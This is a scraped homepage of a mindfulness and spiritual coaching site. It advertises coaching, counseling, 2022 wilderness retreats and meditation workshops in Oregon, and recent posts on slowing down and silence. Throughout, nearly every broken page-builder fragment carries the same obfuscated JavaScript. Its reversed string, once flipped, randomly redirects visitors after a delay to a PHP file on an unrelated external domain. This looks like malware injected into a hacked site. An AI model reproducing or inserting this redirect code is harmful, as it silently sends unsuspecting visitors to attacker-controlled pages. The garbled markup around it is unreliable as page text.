) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1432531325225{margin-bottom: 0px !important;}”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480398556{border-top-width: 20px !important;padding-top: 40px !important;}”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1502636262839{margin-top: 0px !important;margin-right: 0px !important;margin-bottom: 28px !important;margin-left: 0px !important;}” el_class=”overflowed_content”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480209847{margin-top: 0px !important;padding-right: 0px !important;padding-left: 0px !important;}”]

”Mindfulness

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480337162{padding-top: 30px !important;padding-right: 32px !important;padding-bottom: 50px !important;padding-left: 32px !important;background-color: #09776c !important;}” link=”url:%2Fmindfulness-coaching-and-counseling-sessions%2F|||” box_bg_color=”#198c19″]Let me help guide you towards a mindful, spiritual and fulfilling life with intuitive spirit focused coaching.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480460827{margin-top: px !important;padding-right: 0px !important;padding-left: 0px !important;background-color: #cec02b !important;}”]

”Nature-Based

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480832930{padding-top: 20px !important;padding-right: 32px !important;padding-bottom: 0px !important;padding-left: 32px !important;background-color: #cec02b !important;}” link=”url:%2Fnature-based-education%2F|||” box_bg_color=”#fdc735″]My programs and teachings use the inspiration and transformative power of nature to grow and heal.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480476631{margin-top: px !important;padding-right: 0px !important;padding-left: 0px !important;}”]

”Conscious

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480898802{padding-top: 10px !important;}”]My counseling and workshops will help you with awareness, balance and peace in your day-to-day life.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515480491916{margin-top: px !important;padding-right: 0px !important;padding-left: 0px !important;}”]

Spiritual & Self-Awareness Exploration

I offer programs and counseling to explore a practical and deep spiritual foundation for your happiness and well-being.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1505789311291{margin-top: 3px !important;margin-right: 3px !important;margin-bottom: 3px !important;margin-left: 3px !important;border-top-width: 2px !important;border-right-width: 2px !important;border-bottom-width: 2px !important;border-left-width: 2px !important;padding-top: 0px !important;padding-right: 5px !important;padding-bottom: 5px !important;padding-left: 5px !important;background-color: #09776c !important;border-left-color: #dd3333 !important;border-left-style: solid !important;border-right-color: #dd3333 !important;border-right-style: solid !important;border-top-color: #dd3333 !important;border-top-style: solid !important;border-bottom-color: #dd3333 !important;border-bottom-style: solid !important;}”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1505777560782{margin-top: 3px !important;margin-bottom: 3px !important;border-top-width: 2px !important;border-right-width: 2px !important;border-bottom-width: 2px !important;border-left-width: 2px !important;padding-top: 0px !important;padding-bottom: px !important;background-color: #09776c !important;}”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1515215585235{margin-top: 15px !important;margin-bottom: 15px !important;border-top-width: 3px !important;border-right-width: 3px !important;border-bottom-width: 3px !important;border-left-width: 3px !important;padding-top: 2px !important;padding-right: 2px !important;padding-bottom: 2px !important;padding-left: 2px !important;}”]

to awaken to your true potential? Let me help you get started!

Sign up now for my free mindfulness updates and receive a free copy of my popular ebook – “30 Steps to Conscious Living”.

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1503282329431{background-color: #09776c !important;}”][vc_custom_heading text=”Sign Up Today and get instant access to your Free eBook” font_container=”tag:h3|font_size:28|text_align:center|color:%23ffffff|line_height:40px” google_fonts=”font_family:Montserrat%3Aregular%2C700|font_style:700%20bold%20regular%3A700%3Anormal”]

We respect your email privacy

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1504731548576{margin-bottom: 0px !important;padding-top: 30px !important;background-color: #f1f1f1 !important;}”]
[vc_custom_heading text=”WORKSHOPS, COURSES & RETREATS” font_container=”tag:h2|font_size:32|text_align:center|line_height:48px” google_fonts=”font_family:Montserrat%3Aregular%2C700|font_style:700%20bold%20regular%3A700%3Anormal”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1504758399204{padding-bottom: 10px !important;}”]

Workshops & Courses are Offered Online, Video, Webinar and In Person

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom-center” css=”.vc_custom_1504731523230{margin-bottom: 0px !important;padding-bottom: 50px !important;background-color: #f1f1f1 !important;}”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1649095577303{background-color: #ff4545 !important;}” box_text_color=”#ffffff”]

1 Day Wilderness Retreat – Scared Silence

July 16th, 2022

Mt Jefferson Wilderness Area – near Detroit Oregon

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1649095331680{background-color: #153ccc !important;}” box_text_color=”#ffffff”]

Live Meditation Workshop

June 4th, 2022

Salem, Oregon

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1649095664045{background-color: #cec02b !important;}” box_text_color=”#ffffff”]

Live Wilderness Mindfulness & Meditation Retreat

August 13th & 14th, 2022

Mt Jefferson Wilderness Area

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1649095426881{background-color: #09776c !important;}” box_text_color=”#ffffff” css_icon=”.vc_custom_1649095426878{background-color: #09776c !important;}”]See more upcoming Workshops, Courses & Retreats

Offered In Person and Online

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1504731166498{margin-bottom: 20px !important;}”]
[vc_custom_heading text=”RECENT POSTS” font_container=”tag:h2|font_size:32|text_align:center|line_height:48px” google_fonts=”font_family:Montserrat%3Aregular%2C700|font_style:700%20bold%20regular%3A700%3Anormal”]
The Art of Slowing Down – The Importance of Slowing Down Our Lives

As the world pace quickens with the aid of technology people are increasingly wanting to do things quickly. Wisdom tells me differently. The more I meditate and reflect on this the more I am directed to slow down. It isn’t always an easy process, but I truly believe it is an essential action that we […]

Posted in: Conscious Living, Mental & Spiritual Well-Being,
Sacred Silence – The Importance of Quiet Time and Silence in our Lives

In our fast paced society many of us often forget about the importance of taking time to be quiet. We get caught up in our busy lives, trying to meet deadlines and get tasks completed. Our electronic devices and social media further distract us as we find less time to find peace within ourselves. It […]

Posted in: Conscious Living, Meditation, Mental & Spiritual Well-Being,
Tips on Breathing, Meditation and Reducing Stress

Take time to notice your breath. Take a deep breath in, then breathe out… focus on this for a few minutes and let go of all thoughts and worries. How does this make you feel? For most of us this is a relaxing process, a way to calm down and reduce stress. Breathing is of […]

Posted in: Meditation, Mental & Spiritual Well-Being,
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to More Articles” color=”inverse” link=”url:http%3A%2F%2Ftransformingourselves.com%2Farticles-resources%2F|||”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1504731128032{margin-bottom: 0px !important;padding-top: 20px !important;padding-bottom: 25px !important;background-color: #ffffff !important;}”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1504816765214{background-color: #153ccc !important;}”][vc_custom_heading text=”Mindfulness Tools you can learn from my Coaching, Counseling & Workshops” font_container=”tag:h2|font_size:24|text_align:center|color:%23ffffff|line_height:48px” google_fonts=”font_family:Montserrat%3Aregular%2C700|font_style:700%20bold%20regular%3A700%3Anormal” css=”.vc_custom_1504730747542{padding-bottom: 10px !important;}”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1505024518063{padding-top: 20px !important;padding-right: 15px !important;padding-bottom: 20px !important;padding-left: 15px !important;background-color: #ffffff !important;}”]

tom_1500887817256″ style=”text-align: center;”>
  • Meditation – Sacred silence and breathing
  • Mindfulness Techniques of both the East and West
  • Conscious Living Philosophy and Daily Living
  • Heart-Centered and Soul-Based Living
  • Nature-Based teachings and spirituality
  • Science of the mind, new thought and law of attraction tools
  • Journeying, prayer and deep inner reflection tools for growth and healing
  • Connecting with Divine Spirit in your personal way
  • Helping you develop a practical day-to-day spirituality
  • Connecting you with your intuitive and psychic abilities and the universal energy field.
  • Grounding and connecting with the earth for healing,wisdom and strength
  • Helping cultivating spiritual relationships in your life
  • Helping you be in the moment and being present
  • Exploring self-awareness and spirituality
  • And much more…
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1504730884523{padding-bottom: 15px !important;}”]
) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1502639896224{margin-bottom: 50px !important;}”]

OCEAN MEDITATION

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1502825504730{margin-bottom: -50px !important;padding-top: 52px !important;padding-bottom: 46px !important;background-color: #fdc735 !important;}”]

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1505021080609{padding-top: 0px !important;padding-right: 20px !important;padding-bottom: 0px !important;padding-left: 8px !important;}”]

Sign-Up for my free initial counseling or coaching consultation.